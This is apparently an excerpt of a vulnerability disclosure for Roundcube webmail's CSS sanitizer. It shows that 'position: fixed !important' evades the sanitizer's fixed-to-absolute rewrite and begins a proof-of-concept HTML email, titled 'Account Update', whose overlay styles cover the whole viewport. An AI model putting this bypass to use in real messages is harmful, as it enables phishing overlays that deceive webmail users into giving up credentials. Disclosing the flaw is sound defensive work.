position: fixed !important bypasses CSS sanitizer's fixed-position mitigation, enabling full-viewport phishing overlays.

When sanitizing CSS, Roundcube's `sanitize_css_block()` in [rcube_utils.php](https://github.com/roundcube/roundcubemail/blob/4e95ebe12/program/lib/Roundcube/rcube_utils.php) converts `position: fixed` to `position: absolute` to prevent overlay attacks …

<!DOCTYPE html>
<html>
<head><title>Account Update</title></head>
<body>
<p>Please see below for your account details.</p>

<style>
.overlay {
    position: fixed !important;
    top: 0; left: 0;
    width: 100%; height: 100%;
    background: white;
    z-index: 99999;
    display: flex; …